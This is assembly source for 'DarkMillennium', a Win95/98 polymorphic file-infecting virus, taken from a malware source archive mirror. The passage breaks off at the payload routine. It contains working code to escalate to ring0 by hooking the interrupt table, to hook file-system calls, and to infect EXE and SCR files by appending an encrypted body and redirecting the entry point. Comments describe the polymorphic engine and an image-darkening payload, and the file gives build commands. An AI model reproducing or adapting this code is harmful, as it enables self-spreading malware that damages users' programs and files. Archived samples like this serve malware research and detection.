mirror of
https://github.com/vxunderground/MalwareSourceCode.git
synced 2024-12-23 11:55:26 +00:00
2249 lines
48 KiB
NASM
2249 lines
48 KiB
NASM
|
|
||
|
; DarkMillennium Project
|
||
|
; developed by Clau / Ultimate Chaos
|
||
|
;
|
||
|
; The Project is a Win95/98 compatible virus.
|
||
|
; Also this is my first virus that infects PE files.
|
||
|
;
|
||
|
; Greets goes to all Ultimate Chaos members and all people in VX scene.
|
||
|
; Respect to all of you.
|
||
|
;
|
||
|
;----------------
|
||
|
; DESCRIPTION |
|
||
|
;----------------
|
||
|
;
|
||
|
; on program load :
|
||
|
; - it proccess a polymorphic decryptor
|
||
|
; - it is made in 2 parts
|
||
|
; - 1. Finding the key that encryption was made with (between 0 ... 65535)
|
||
|
; - 2. Decrypt the code with that key
|
||
|
; - check if it is already resident
|
||
|
; - if not, go into ring0
|
||
|
; - get memory with GetHeap
|
||
|
; - copy itself into allocated memory
|
||
|
; - hook the API (InstallFileSystemAPIhook)
|
||
|
; -return to host program
|
||
|
; on FS calls, if IFSFN_OPEN/IFSFN_RENAME/IFSFN_FILEATRIB
|
||
|
; - check if extension is EXE/SCR
|
||
|
; - check if the file format is PE
|
||
|
; - if so, infect the file
|
||
|
; - Generate random polymorphic decryptor, and write it to file
|
||
|
; - Encrypt the code with a simple XOR method using a random key witch is never saved
|
||
|
; It use only 2 bytes buffer for encryption, it encrypt 2 bytes at a time and write them
|
||
|
; into the file, until all the code is encrypted and written. This method is slower,
|
||
|
; but low memory is used.
|
||
|
; - check for a condition and if it is true then display a message box trough VxD call
|
||
|
; payloads, the condition is the number of infected files be equal to infected_nr_trigger
|
||
|
; - thanks goes to Midnyte (member of Ultimate Chaos, coder, GFXer) for helping me with this nice payload
|
||
|
; - on BMP and GIF open they will go darker and darker on every open
|
||
|
; - on some BMPs and GIFs the effect is more cool, I can say strange
|
||
|
;
|
||
|
;----------------------------------------
|
||
|
; Polymoprhic engine description |
|
||
|
;----------------------------------------
|
||
|
;
|
||
|
; This is my first poly engine.
|
||
|
; - random junk code
|
||
|
; - do nothing instructions (instructions that do not interfer with the decryptor)
|
||
|
; - they are 1, 2 or more bytes instructions, and more instructions combined
|
||
|
; - 1 byte - cmc, clc, stc, nop
|
||
|
; - 2 bytes - a range of INTs
|
||
|
; - > 2 bytes - it can generate random MOV, PUSH, POP ... infact all instructions
|
||
|
; that are used in decryptor, without interfering with the decryptor (it use regs
|
||
|
; that are not used in decrypt process)
|
||
|
; - more ways to do the same thing instructions
|
||
|
; example : MOV EAX, 12345678h <=> PUSH 12345678h
|
||
|
; POP EAX
|
||
|
; - the decryptor size can be ~ 3 times bigger then the original decryptor
|
||
|
; - if the decryptor is smaller then the decryptor before, the space between it and the encrypted code
|
||
|
; will be filled with junk.
|
||
|
;
|
||
|
;
|
||
|
; Compile with:
|
||
|
; tasm32 /m3 /ml darkmillennium.asm
|
||
|
; tlink32 /Tpe /aa /x darkmillennium.obj, darkmillennium.exe, , import32.lib
|
||
|
;
|
||
|
; report any bugs to clau@ultimatechaos.org
|
||
|
;
|
||
|
|
||
|
.386p
|
||
|
.model flat
|
||
|
|
||
|
extrn ExitProcess:proc
|
||
|
extrn MessageBoxA:proc
|
||
|
|
||
|
VxDCall macro vxd_id, service_id
|
||
|
int 20h
|
||
|
dw service_id
|
||
|
dw vxd_id
|
||
|
endm
|
||
|
|
||
|
IFSMgr = 0040h ; VxD service
|
||
|
GetHeap = 000dh
|
||
|
InstallFileSystemAPIhook = 0067h
|
||
|
Ring0_FileIO = 0032h
|
||
|
UniToBCSPath = 0041h
|
||
|
IFSFN_OPEN = 36
|
||
|
IFSFN_RENAME = 37
|
||
|
IFSFN_FILEATTRIB = 33
|
||
|
R0_opencreatefile = 0d500h ; open/create file
|
||
|
R0_readfile = 0d600h ; read a file, no context
|
||
|
R0_writefile = 0d601h ; write to a file, no context
|
||
|
R0_closefile = 0d700h ; close a file
|
||
|
exception_int = 3
|
||
|
exe_ext = 'EXE.'
|
||
|
scr_ext = 'RCS.'
|
||
|
bmp_ext = 'PMB.'
|
||
|
gif_ext = 'FIG.'
|
||
|
virussize = _end - Start
|
||
|
virussize_plus_buffers = virussize + ( _end_2 - _end )
|
||
|
polyengine_size = _end - GenDecryptor
|
||
|
infected_nr_trigger = 200
|
||
|
|
||
|
.code
|
||
|
|
||
|
Begin:
|
||
|
push 64
|
||
|
push offset w_title
|
||
|
push offset copyright
|
||
|
push 0
|
||
|
call MessageBoxA
|
||
|
jmp Start
|
||
|
|
||
|
.data
|
||
|
|
||
|
;-------------------- Start Code -------------------
|
||
|
|
||
|
Start: call Delta
|
||
|
Delta: mov esi, esp
|
||
|
mov ebp, dword ptr ss:[esi]
|
||
|
sub ebp, offset Delta
|
||
|
|
||
|
pushad
|
||
|
lea esi, [ebp + key - Start] ; address of code key
|
||
|
add esi, offset Start
|
||
|
xor di, di ; key for decryption
|
||
|
find_loop: inc di
|
||
|
mov ax, [esi] ; load code key in eax
|
||
|
xor ax, di ; decrypt it with the key from edi
|
||
|
cmp ax, 9090h ; check if edi key is OK
|
||
|
jnz find_loop ; if not jump to find_loop
|
||
|
|
||
|
; now edi = the key for decryption
|
||
|
lea esi, [ebp + Encr_Code - Start]
|
||
|
add esi, offset Start
|
||
|
mov ecx, virussize
|
||
|
decr_loop: xor word ptr [esi], di
|
||
|
add esi, 2
|
||
|
sub ecx, 2
|
||
|
cmp ecx, 1
|
||
|
jg decr_loop
|
||
|
|
||
|
popad
|
||
|
|
||
|
; "alocate" space equal to current decryptor size, incase that the next generated decryptors
|
||
|
; will be bigger, and it will be bigger then this one
|
||
|
; this space will be filled with random junk instructions
|
||
|
db ($ - offset Start) * 2 dup (90h) ; for big decryptors not overwrite Data Zone
|
||
|
|
||
|
Encr_Code:
|
||
|
key dw 9090h
|
||
|
jmp virus_code
|
||
|
|
||
|
;-------------------- Data Zone -------------------
|
||
|
|
||
|
IDT_Address dq 0
|
||
|
flag db 0
|
||
|
newaddress dd 0
|
||
|
exception dd 0
|
||
|
old_offset dd 0
|
||
|
filename db 260 dup (0)
|
||
|
handle dd 0
|
||
|
crt_move dd 0
|
||
|
peheader dd 0
|
||
|
S_Align dd 0
|
||
|
F_Align dd 0
|
||
|
sec_ptr dd 0
|
||
|
Old_EIP dd 0
|
||
|
SOI dd 0
|
||
|
virusplace dd 0
|
||
|
imagebase dd 0
|
||
|
infected_files dw 0
|
||
|
|
||
|
SEH_nextpointer dd ?
|
||
|
SEH_oldpointer dd ?
|
||
|
SEH_errorhandler dd ?
|
||
|
|
||
|
IMAGE_DOS_HEADER struc
|
||
|
MZ_magic dw ?
|
||
|
MZ_cblp dw ?
|
||
|
MZ_cp dw ?
|
||
|
MZ_crlc dw ?
|
||
|
MZ_cparhdr dw ?
|
||
|
MZ_minalloc dw ?
|
||
|
MZ_maxalloc dw ?
|
||
|
MZ_ss dw ?
|
||
|
MZ_sp dw ?
|
||
|
MZ_csum dw ?
|
||
|
MZ_ip dw ?
|
||
|
MZ_cs dw ?
|
||
|
MZ_lfarlc dw ?
|
||
|
MZ_ovno dw ?
|
||
|
MZ_res dw 4 dup (?)
|
||
|
MZ_oemid dw ?
|
||
|
MZ_oeminfo dw ?
|
||
|
MZ_res2 dw 10 dup (?)
|
||
|
MZ_lfanew dd ?
|
||
|
IMAGE_DOS_HEADER ends
|
||
|
IMAGE_DOS_HEADER_SIZE = SIZE IMAGE_DOS_HEADER
|
||
|
|
||
|
IMAGE_FILE_HEADER struc
|
||
|
PE_Magic dd ?
|
||
|
Machine dw ?
|
||
|
NumberOfSections dw ?
|
||
|
TimeDateStamp dd ?
|
||
|
PointerToSymbolTable dd ?
|
||
|
NumberOfSymbols dd ?
|
||
|
SizeOfOptionalHeader dw ?
|
||
|
Characteristics dw ?
|
||
|
IMAGE_FILE_HEADER ends
|
||
|
IMAGE_FILE_HEADER_SIZE = SIZE IMAGE_FILE_HEADER
|
||
|
|
||
|
IMAGE_DATA_DIRECTORY struc
|
||
|
dd_VirtualAddress dd ?
|
||
|
dd_Size dd ?
|
||
|
IMAGE_DATA_DIRECTORY ends
|
||
|
|
||
|
IMAGE_DIRECTORY_ENTRIES struc
|
||
|
DE_Export IMAGE_DATA_DIRECTORY ?
|
||
|
DE_Import IMAGE_DATA_DIRECTORY ?
|
||
|
DE_Resource IMAGE_DATA_DIRECTORY ?
|
||
|
DE_Exception IMAGE_DATA_DIRECTORY ?
|
||
|
DE_Security IMAGE_DATA_DIRECTORY ?
|
||
|
DE_BaseReloc IMAGE_DATA_DIRECTORY ?
|
||
|
DE_Debug IMAGE_DATA_DIRECTORY ?
|
||
|
DE_Copyright IMAGE_DATA_DIRECTORY ?
|
||
|
DE_GlobalPtr IMAGE_DATA_DIRECTORY ?
|
||
|
DE_TLS IMAGE_DATA_DIRECTORY ?
|
||
|
DE_LoadConfig IMAGE_DATA_DIRECTORY ?
|
||
|
DE_BoundImport IMAGE_DATA_DIRECTORY ?
|
||
|
DE_IAT IMAGE_DATA_DIRECTORY ?
|
||
|
IMAGE_DIRECTORY_ENTRIES ends
|
||
|
IMAGE_NUMBEROF_DIRECTORY_ENTRIES = 16
|
||
|
|
||
|
IMAGE_OPTIONAL_HEADER struc
|
||
|
OH_Magic dw ?
|
||
|
OH_MajorLinkerVersion db ?
|
||
|
OH_MinorLinkerVersion db ?
|
||
|
OH_SizeOfCode dd ?
|
||
|
OH_SizeOfInitializedData dd ?
|
||
|
OH_SizeOfUninitializedData dd ? ; Uninitialized Data
|
||
|
OH_AddressOfEntryPoint dd byte ptr ? ; Initial EIP
|
||
|
OH_BaseOfCode dd byte ptr ? ; Code Virtual Address
|
||
|
OH_BaseOfData dd byte ptr ? ; Data Virtual Address
|
||
|
OH_ImageBase dd byte ptr ? ; Base of image
|
||
|
OH_SectionAlignment dd ? ; Section Alignment
|
||
|
OH_FileAlignment dd ? ; File Alignment
|
||
|
OH_MajorOperatingSystemVersion dw ? ; Major OS
|
||
|
OH_MinorOperatingSystemVersion dw ? ; Minor OS
|
||
|
OH_MajorImageVersion dw ? ; Major Image version
|
||
|
OH_MinorImageVersion dw ? ; Minor Image version
|
||
|
OH_MajorSubsystemVersion dw ? ; Major Subsys version
|
||
|
OH_MinorSubsystemVersion dw ?
|
||
|
OH_Win32VersionValue dd ? ; win32 version
|
||
|
OH_SizeOfImage dd ? ; Size of image
|
||
|
OH_SizeOfHeaders dd ? ; Size of Header
|
||
|
OH_CheckSum dd ? ; unused
|
||
|
OH_Subsystem dw ? ; Subsystem
|
||
|
OH_DllCharacteristics dw ? ; DLL characteristic
|
||
|
OH_SizeOfStackReserve dd ? ; Stack reserve
|
||
|
OH_SizeOfStackCommit dd ? ; Stack commit
|
||
|
OH_SizeOfHeapReserve dd ? ; Heap reserve
|
||
|
OH_SizeOfHeapCommit dd ? ; Heap commit
|
||
|
OH_LoaderFlags dd ? ; Loader flags
|
||
|
OH_NumberOfRvaAndSizes dd ? ; Number of directories
|
||
|
UNION ; directory entries
|
||
|
OH_DataDirectory IMAGE_DATA_DIRECTORY\
|
||
|
IMAGE_NUMBEROF_DIRECTORY_ENTRIES DUP (?)
|
||
|
OH_DirectoryEntries IMAGE_DIRECTORY_ENTRIES ?
|
||
|
ends
|
||
|
ends
|
||
|
IMAGE_OPTIONAL_HEADER_SIZE = SIZE IMAGE_OPTIONAL_HEADER
|
||
|
|
||
|
IMAGE_SECTION_HEADER struc
|
||
|
SH_Name db 8 dup (?)
|
||
|
UNION
|
||
|
SH_PhusicalAddress dd byte ptr ?
|
||
|
SH_VirtualSize dd ?
|
||
|
ends
|
||
|
SH_VirtualAddress dd byte ptr ?
|
||
|
SH_SizeOfRawData dd ?
|
||
|
SH_PointerToRawData dd byte ptr ?
|
||
|
SH_PointerToRelocations dd byte ptr ?
|
||
|
SH_PointerToLinenumbers dd byte ptr ?
|
||
|
SH_NumberOfRelocations dw ?
|
||
|
SH_NumberOfLinenumbers dw ?
|
||
|
SH_Characteristics dd ?
|
||
|
IMAGE_SECTION_HEADER ends
|
||
|
IMAGE_SECTION_HEADER_SIZE = SIZE IMAGE_SECTION_HEADER
|
||
|
|
||
|
mz_header IMAGE_DOS_HEADER ?
|
||
|
pe_header IMAGE_FILE_HEADER ?
|
||
|
oh_header IMAGE_OPTIONAL_HEADER ?
|
||
|
section IMAGE_SECTION_HEADER ?
|
||
|
|
||
|
;-------------------- Real Code Zone ------------------
|
||
|
|
||
|
virus_code: mov eax, dword ptr fs:[00h]
|
||
|
mov dword ptr [ebp + SEH_nextpointer], eax
|
||
|
mov dword ptr [ebp + SEH_oldpointer], eax
|
||
|
lea eax, [ebp + return_to_host]
|
||
|
mov dword ptr [ebp + SEH_errorhandler], eax
|
||
|
lea eax, [ebp + SEH_nextpointer]
|
||
|
mov dword ptr fs:[00h], eax
|
||
|
|
||
|
sidt [ebp + IDT_Address]
|
||
|
mov esi, dword ptr [ebp + IDT_Address + 2]
|
||
|
add esi, exception_int * 8
|
||
|
mov dword ptr [ebp + exception], esi
|
||
|
mov bx, word ptr [esi + 6]
|
||
|
shl ebx, 10h
|
||
|
mov bx, word ptr [esi]
|
||
|
mov dword ptr [ebp + old_offset], ebx
|
||
|
lea eax, [ebp + offset Ring0]
|
||
|
mov word ptr [esi], ax
|
||
|
shr eax, 10h
|
||
|
mov word ptr [esi + 6], ax
|
||
|
|
||
|
mov eax, 0c000e990h
|
||
|
cmp dword ptr [eax], '2000'
|
||
|
jne go_into_ring0
|
||
|
jmp already_installed
|
||
|
|
||
|
go_into_ring0: int exception_int ; This will jump us to Ring0 proc in ring0 mode
|
||
|
|
||
|
already_installed: mov esi, dword ptr [ebp + exception]
|
||
|
mov ebx, dword ptr [ebp + old_offset]
|
||
|
mov word ptr [esi], bx
|
||
|
shr ebx, 10h
|
||
|
mov word ptr [esi + 6], bx
|
||
|
|
||
|
return_to_host: mov eax, dword ptr [ebp + SEH_oldpointer]
|
||
|
mov dword ptr fs:[00h], eax
|
||
|
|
||
|
exit: cmp ebp, 0
|
||
|
je generation_1
|
||
|
mov eax, [ebp + Old_EIP]
|
||
|
add eax, [ebp + imagebase]
|
||
|
jmp eax
|
||
|
|
||
|
generation_1: push 0
|
||
|
call ExitProcess
|
||
|
|
||
|
Ring0 proc
|
||
|
pusha
|
||
|
|
||
|
; Get some memory
|
||
|
mov eax, virussize_plus_buffers + 100
|
||
|
push eax
|
||
|
patch1_val equ GetHeap + 256 * 256 * IFSMgr
|
||
|
patch1 label far
|
||
|
VxDCall IFSMgr, GetHeap
|
||
|
pop ecx
|
||
|
or eax, eax
|
||
|
jz no_free_mem
|
||
|
|
||
|
; Copy into memory
|
||
|
xchg eax, edi
|
||
|
lea esi, dword ptr [ebp + Start]
|
||
|
push edi
|
||
|
mov ecx, _end - Start
|
||
|
rep movsb
|
||
|
pop edi
|
||
|
mov dword ptr [ebp + newaddress], edi
|
||
|
mov dword ptr [edi + delta1 - Start], edi
|
||
|
|
||
|
; hook API
|
||
|
lea eax, [edi + API_hook - Start]
|
||
|
push eax
|
||
|
patch2_val equ InstallFileSystemAPIhook + 256 * 256 * IFSMgr
|
||
|
patch2 label far
|
||
|
VxDCall IFSMgr, InstallFileSystemAPIhook
|
||
|
pop ebx
|
||
|
mov [edi + nexthook - Start], eax
|
||
|
jmp success
|
||
|
|
||
|
no_free_mem: jmp back_to_ring3
|
||
|
|
||
|
success: mov eax, 0c000e990h
|
||
|
mov dword ptr [eax], '2000'
|
||
|
mov byte ptr [edi + flag - Start], 0
|
||
|
|
||
|
back_to_ring3: popad
|
||
|
iretd
|
||
|
Ring0 endp
|
||
|
|
||
|
API_hook: push ebp
|
||
|
mov ebp, esp
|
||
|
sub esp, 20h
|
||
|
|
||
|
push ebx
|
||
|
push esi
|
||
|
push edi
|
||
|
|
||
|
db 0bfh
|
||
|
delta1 dd 0
|
||
|
|
||
|
cmp byte ptr [edi + flag - Start], 1
|
||
|
je over_now
|
||
|
|
||
|
cmp dword ptr [ebp + 12], IFSFN_OPEN ; open action
|
||
|
je action_ok
|
||
|
cmp dword ptr [ebp + 12], IFSFN_RENAME ; rename action
|
||
|
je action_ok
|
||
|
cmp dword ptr [ebp + 12], IFSFN_FILEATTRIB ; attributes action
|
||
|
je action_ok
|
||
|
jmp over_now
|
||
|
|
||
|
action_ok: mov byte ptr [edi + flag - Start], 1
|
||
|
pusha
|
||
|
lea esi, [edi + filename - Start]
|
||
|
|
||
|
mov eax, [ebp + 16]
|
||
|
cmp al, 0ffh
|
||
|
je no_path
|
||
|
add al, 40h
|
||
|
mov byte ptr [esi], al
|
||
|
inc esi
|
||
|
mov byte ptr [esi], ':'
|
||
|
inc esi
|
||
|
mov byte ptr [esi], '\'
|
||
|
|
||
|
; Unicode conversion
|
||
|
no_path: push 0 ; BCS/WANSI code
|
||
|
push 260 ; maximum filename
|
||
|
mov eax, [ebp + 28] ; get IOREQ
|
||
|
mov eax, [eax + 12]
|
||
|
add eax, 4
|
||
|
push eax ; push filename
|
||
|
push esi ; push destination
|
||
|
|
||
|
patch3_val equ UniToBCSPath + 256 * 256 * IFSMgr
|
||
|
patch3 label far
|
||
|
VxDCall IFSMgr, UniToBCSPath
|
||
|
add esp, 4 * 4
|
||
|
add esi, eax
|
||
|
mov byte ptr [esi], 0
|
||
|
|
||
|
; Check extension for '.EXE'
|
||
|
cmp dword ptr [esi - 4], exe_ext
|
||
|
je check_2
|
||
|
|
||
|
; Check extension for '.BMP'
|
||
|
cmp dword ptr [esi - 4], bmp_ext
|
||
|
jne check_gif_ext
|
||
|
call bmp_Payload
|
||
|
|
||
|
; Check extension for '.GIF'
|
||
|
check_gif_ext:
|
||
|
cmp dword ptr [esi - 4], gif_ext
|
||
|
jne check_scr_ext
|
||
|
call gif_Payload
|
||
|
|
||
|
; Check extension for '.SCR' = screensaver
|
||
|
check_scr_ext:
|
||
|
cmp dword ptr [esi - 4], scr_ext
|
||
|
jne not_exe
|
||
|
|
||
|
; Open the file
|
||
|
check_2: lea esi, [edi + filename - Start]
|
||
|
call file_open
|
||
|
jc not_exe
|
||
|
mov dword ptr [edi + handle - Start], eax
|
||
|
|
||
|
; Read DOS header
|
||
|
lea esi, [edi + mz_header - Start]
|
||
|
mov ebx, dword ptr [edi + handle - Start]
|
||
|
mov ecx, IMAGE_DOS_HEADER_SIZE
|
||
|
mov edx, 0
|
||
|
call file_read
|
||
|
|
||
|
; Check if really EXE file ( 'MZ' signature )
|
||
|
lea esi, [edi + mz_header - Start]
|
||
|
mov ax, word ptr [esi.MZ_magic]
|
||
|
cmp ax, 5a4dh
|
||
|
jne fileclose
|
||
|
|
||
|
; Locate the PE header
|
||
|
mov esi, dword ptr [esi.MZ_lfanew]
|
||
|
cmp esi, 500h
|
||
|
ja fileclose
|
||
|
|
||
|
; Save the pos of the PE header
|
||
|
mov dword ptr [edi + crt_move - Start], esi
|
||
|
mov dword ptr [edi + peheader - Start], esi
|
||
|
|
||
|
; Read the PE header
|
||
|
lea edx, [edi + pe_header - Start]
|
||
|
mov ebx, dword ptr [edi + handle - Start]
|
||
|
mov ecx, IMAGE_FILE_HEADER_SIZE + IMAGE_OPTIONAL_HEADER_SIZE
|
||
|
xchg esi, edx
|
||
|
call file_read
|
||
|
|
||
|
add dword ptr [edi + crt_move - Start], IMAGE_FILE_HEADER_SIZE + IMAGE_OPTIONAL_HEADER_SIZE
|
||
|
|
||
|
; Check for 'PE' signature
|
||
|
lea esi, [edi + pe_header - Start]
|
||
|
mov eax, dword ptr [esi.PE_Magic]
|
||
|
cmp eax, 00004550h
|
||
|
jne fileclose
|
||
|
|
||
|
; Check for DLL signature
|
||
|
cmp dword ptr [esi.Characteristics], 2000h
|
||
|
je fileclose
|
||
|
|
||
|
; Locate the last section and read it
|
||
|
xor eax, eax
|
||
|
mov ax, word ptr [esi.NumberOfSections]
|
||
|
mov ecx, IMAGE_SECTION_HEADER_SIZE
|
||
|
dec eax
|
||
|
mul ecx
|
||
|
mov esi, eax
|
||
|
add esi, dword ptr [edi + crt_move - Start]
|
||
|
mov dword ptr [edi + sec_ptr - Start], esi
|
||
|
|
||
|
; Read the last section
|
||
|
lea edx, [edi + section - Start]
|
||
|
mov ecx, IMAGE_SECTION_HEADER_SIZE
|
||
|
mov ebx, dword ptr [edi + handle - Start]
|
||
|
xchg esi, edx
|
||
|
call file_read
|
||
|
|
||
|
; Verify if already infected
|
||
|
lea esi, [edi +oh_header - Start]
|
||
|
cmp dword ptr [esi.OH_Win32VersionValue], '2000'
|
||
|
je fileclose
|
||
|
|
||
|
mov eax, dword ptr [esi.OH_SectionAlignment]
|
||
|
mov [edi + S_Align - Start], eax
|
||
|
mov eax, dword ptr [esi.OH_FileAlignment]
|
||
|
mov [edi + F_Align - Start], eax
|
||
|
mov eax, dword ptr [esi.OH_AddressOfEntryPoint]
|
||
|
mov [edi + Old_EIP - Start], eax
|
||
|
mov eax, dword ptr [esi.OH_SizeOfImage]
|
||
|
mov [edi + SOI - Start], eax
|
||
|
mov eax, dword ptr [esi.OH_ImageBase]
|
||
|
mov [edi + imagebase - Start], eax
|
||
|
|
||
|
; Update the section
|
||
|
lea esi, [edi + section - Start]
|
||
|
mov eax, dword ptr [esi.SH_PointerToRawData]
|
||
|
add eax, dword ptr [esi.SH_VirtualSize]
|
||
|
mov dword ptr [edi + virusplace - Start], eax
|
||
|
mov eax, dword ptr [edi.SH_SizeOfRawData]
|
||
|
add eax, virussize
|
||
|
mov ecx, dword ptr [edi + F_Align - Start]
|
||
|
push eax
|
||
|
push ecx
|
||
|
xor edx, edx
|
||
|
div ecx
|
||
|
pop ecx
|
||
|
sub ecx, edx
|
||
|
pop eax
|
||
|
add eax, ecx
|
||
|
mov dword ptr [esi.SH_SizeOfRawData], eax
|
||
|
mov eax, dword ptr [esi.SH_VirtualSize]
|
||
|
add eax, virussize
|
||
|
mov dword ptr [esi.SH_VirtualSize], eax
|
||
|
|
||
|
; Set the new characteristics for the section
|
||
|
or dword ptr [esi.SH_Characteristics], 00000020h ; code
|
||
|
or dword ptr [esi.SH_Characteristics], 20000000h ; executable
|
||
|
or dword ptr [esi.SH_Characteristics], 80000000h ; writable
|
||
|
|
||
|
; Update the PE header
|
||
|
; first the size of image wich is aligned to section alignment
|
||
|
lea esi, [edi + oh_header - Start]
|
||
|
mov eax, dword ptr [edi + SOI - Start]
|
||
|
add eax, virussize
|
||
|
mov ecx, dword ptr [edi + S_Align - Start]
|
||
|
push eax
|
||
|
push ecx
|
||
|
xor edx, edx
|
||
|
div ecx
|
||
|
pop ecx
|
||
|
sub ecx, edx
|
||
|
pop eax
|
||
|
add eax, ecx
|
||
|
mov dword ptr [esi.OH_SizeOfImage], eax
|
||
|
|
||
|
; Address of Entrypoint to our virus ( Old Virtual Address + New Virtual Size - Virus Size )
|
||
|
lea esi, [edi + section - Start]
|
||
|
mov eax, dword ptr [esi.SH_VirtualAddress]
|
||
|
add eax, dword ptr [esi.SH_VirtualSize]
|
||
|
sub eax, virussize
|
||
|
lea esi, [edi + oh_header - Start]
|
||
|
mov dword ptr [esi.OH_AddressOfEntryPoint], eax
|
||
|
|
||
|
; Mark the infection
|
||
|
mov dword ptr [esi.OH_Win32VersionValue], '2000'
|
||
|
|
||
|
; Write section to file
|
||
|
lea edx, [edi + section - Start]
|
||
|
mov ecx, IMAGE_SECTION_HEADER_SIZE
|
||
|
mov ebx, dword ptr [edi + handle - Start]
|
||
|
mov esi, dword ptr [edi + sec_ptr - Start]
|
||
|
xchg edx, esi
|
||
|
call file_write
|
||
|
|
||
|
; Write headers to file
|
||
|
lea edx, [edi + pe_header - Start]
|
||
|
mov ecx, IMAGE_FILE_HEADER_SIZE + IMAGE_OPTIONAL_HEADER_SIZE
|
||
|
mov ebx, dword ptr [edi + handle - Start]
|
||
|
mov esi, dword ptr [edi + peheader - Start]
|
||
|
xchg edx, esi
|
||
|
call file_write
|
||
|
|
||
|
; Patch the code
|
||
|
mov cx, 20cdh
|
||
|
mov word ptr [edi + patch1 - Start], cx
|
||
|
mov eax, patch1_val
|
||
|
mov dword ptr [edi + patch1 - Start + 2], eax
|
||
|
mov word ptr [edi + patch2 - Start], cx
|
||
|
mov eax, patch2_val
|
||
|
mov dword ptr [edi + patch2 - Start + 2], eax
|
||
|
mov word ptr [edi + patch3 - Start], cx
|
||
|
mov eax, patch3_val
|
||
|
mov dword ptr [edi + patch3 - Start + 2], eax
|
||
|
mov word ptr [edi + patch4 - Start], cx
|
||
|
mov eax, patch4_val
|
||
|
mov dword ptr [edi + patch4 - Start + 2], eax
|
||
|
mov word ptr [edi + patch5 - Start], cx
|
||
|
mov eax, patch5_val
|
||
|
mov dword ptr [edi + patch5 - Start + 2], eax
|
||
|
|
||
|
; reset the infected_files counter
|
||
|
mov ax, 0
|
||
|
mov word ptr [edi + infected_files - Start], ax
|
||
|
|
||
|
; Generate decryptor
|
||
|
pushad
|
||
|
mov ebp, edi
|
||
|
call GenDecryptor
|
||
|
popad
|
||
|
|
||
|
; Call Payload
|
||
|
call Payload
|
||
|
|
||
|
; Write decryptor
|
||
|
mov edx, edi
|
||
|
mov ecx, Encr_Code - Start
|
||
|
mov ebx, dword ptr [edi + handle - Start]
|
||
|
mov esi, dword ptr [edi + virusplace - Start]
|
||
|
xchg edx, esi
|
||
|
call file_write
|
||
|
|
||
|
mov edx, dword ptr [edi + virusplace - Start]
|
||
|
add edx, Encr_Code - Start
|
||
|
mov dword ptr [edi + virusplace - Start], edx ; update virusplace
|
||
|
|
||
|
; Get random key for encryption in cx
|
||
|
mov eax, 0FFFFh
|
||
|
call random_in_range ; will return in ax a random number
|
||
|
xchg ax, cx
|
||
|
|
||
|
; Write encrypted area to file
|
||
|
lea edx, [edi + Encr_Code - Start] ; location to copy and encrypt
|
||
|
xor eax, eax ; counter
|
||
|
|
||
|
write_loop: call copy_in_buffer
|
||
|
inc edx
|
||
|
inc edx
|
||
|
|
||
|
push eax ; save counter
|
||
|
push ecx ; save the key
|
||
|
push edx ; save location pointer in code
|
||
|
|
||
|
; Write buffer in file
|
||
|
mov ebx, dword ptr [edi + handle - Start]
|
||
|
mov ecx, 2
|
||
|
mov edx, dword ptr [edi + virusplace - Start]
|
||
|
lea esi, [edi + encryption_buffer - Start]
|
||
|
call file_write
|
||
|
|
||
|
mov edx, dword ptr [edi + virusplace - Start]
|
||
|
inc edx
|
||
|
inc edx
|
||
|
mov dword ptr [edi + virusplace - Start], edx
|
||
|
|
||
|
pop edx ; restore loc. pointer
|
||
|
pop ecx ; restore the key
|
||
|
pop eax ; restore counter
|
||
|
inc eax
|
||
|
inc eax
|
||
|
cmp eax, _end - Encr_Code
|
||
|
jle write_loop
|
||
|
|
||
|
; Close the file
|
||
|
fileclose: mov ebx, dword ptr [edi + handle - Start]
|
||
|
call file_close
|
||
|
|
||
|
not_exe: popa
|
||
|
|
||
|
over_now: mov byte ptr [edi + flag - Start], 0 ; Set flag to 0
|
||
|
mov eax, [ebp + 28]
|
||
|
push eax
|
||
|
mov eax, [ebp + 24]
|
||
|
push eax
|
||
|
mov eax, [ebp + 20]
|
||
|
push eax
|
||
|
mov eax, [ebp + 16]
|
||
|
push eax
|
||
|
mov eax, [ebp + 12]
|
||
|
push eax
|
||
|
mov eax, [ebp + 08]
|
||
|
push eax
|
||
|
|
||
|
db 0b8h
|
||
|
nexthook dd 0
|
||
|
call [eax]
|
||
|
|
||
|
add esp, 6 * 4
|
||
|
|
||
|
pop edi
|
||
|
pop esi
|
||
|
pop ebx
|
||
|
|
||
|
leave
|
||
|
ret
|
||
|
|
||
|
; Copy a word from code in encryption_buffer and encrypt it
|
||
|
; cx = key for encryption
|
||
|
; edx = pointer in code
|
||
|
copy_in_buffer proc
|
||
|
pushad
|
||
|
mov bx, word ptr [edx]
|
||
|
xor bx, cx
|
||
|
mov [edi + encryption_buffer - Start], bx
|
||
|
popad
|
||
|
ret
|
||
|
|
||
|
encryption_buffer dw 0
|
||
|
|
||
|
copy_in_buffer endp
|
||
|
|
||
|
get_rnd proc
|
||
|
push bx
|
||
|
xor bx, ax
|
||
|
xor bx, cx
|
||
|
xor bx, dx
|
||
|
xor bx, sp
|
||
|
xor bx, bp
|
||
|
xor bx, si
|
||
|
xor bx, di
|
||
|
in al, 40h
|
||
|
xor bl, al
|
||
|
in al, 40h
|
||
|
add bh, al
|
||
|
in al, 41h
|
||
|
sub bl, al
|
||
|
in al, 41h
|
||
|
xor bh, al
|
||
|
in al, 42h
|
||
|
add bl, al
|
||
|
in al, 42h
|
||
|
sub bh, al
|
||
|
xchg bx, ax
|
||
|
pop bx
|
||
|
ret
|
||
|
get_rnd endp
|
||
|
|
||
|
|
||
|
; Ring0 File_IO
|
||
|
;-------------------------
|
||
|
Ring0_File_IO proc
|
||
|
patch4_val equ Ring0_FileIO + 256 *256 * IFSMgr
|
||
|
patch4 label far
|
||
|
VxDCall IFSMgr, Ring0_FileIO
|
||
|
ret
|
||
|
Ring0_File_IO endp
|
||
|
|
||
|
file_open proc
|
||
|
mov bx, 2
|
||
|
mov cx, 0
|
||
|
mov dx, 1
|
||
|
mov eax, R0_opencreatefile
|
||
|
call Ring0_File_IO
|
||
|
ret
|
||
|
file_open endp
|
||
|
|
||
|
file_close proc
|
||
|
mov eax, R0_closefile
|
||
|
call Ring0_File_IO
|
||
|
ret
|
||
|
file_close endp
|
||
|
|
||
|
file_read proc
|
||
|
mov eax, R0_readfile
|
||
|
call Ring0_File_IO
|
||
|
ret
|
||
|
file_read endp
|
||
|
|
||
|
file_write proc
|
||
|
mov eax, R0_writefile
|
||
|
call Ring0_File_IO
|
||
|
ret
|
||
|
file_write endp
|
||
|
|
||
|
Payload proc
|
||
|
|
||
|
; Check the number of infected files
|
